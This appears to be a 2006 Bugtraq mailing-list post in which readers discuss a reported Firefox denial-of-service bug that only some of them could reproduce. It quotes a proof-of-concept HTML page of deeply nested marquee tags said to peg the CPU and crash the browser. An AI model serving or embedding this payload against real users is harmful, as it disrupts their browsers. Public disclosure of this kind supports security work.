Bugtraq mailing list archives

Previous By Date Next
Previous By Thread Next

Re: Fire fox dos exploit

From: Ronald van den Blink <ronald () securityview org>
Date: Wed, 31 May 2006 19:08:40 +0200
I told this guy all ready that it looks like WinXP is the problem. Mac OS X and Debian (Linux) does not hang! 


With regards,


Ronald van den Blink
Securityview.org
On 31 May, 2006, at 16:50, Josh Zlatin-Amishav wrote:


On Tue, 30 May 2006, co296 () aol com wrote:
I have found a problem which causes denial of service on fire fox browser
Can you give us some more details, like versions and platforms affected? I was unable to recreate this flaw using firefox 1.5.dfsg +1.5.0 on Debian unstable. 

--
 - Josh



Creadit:to n00b for finding this bug..

the problem lie's in the

<marquee> html tag uses 100% cpu and crash's the browser..

Following proof of concept available

<html>
<head>
<title>Credit to n00b..</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> 
</head>

<body>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma rquee><marquee><marquee><marquee><marquee><marquee><marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marq 
ue
e></marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee> 
</body>
</html>
Previous By Date Next
Previous By Thread Next

Current thread: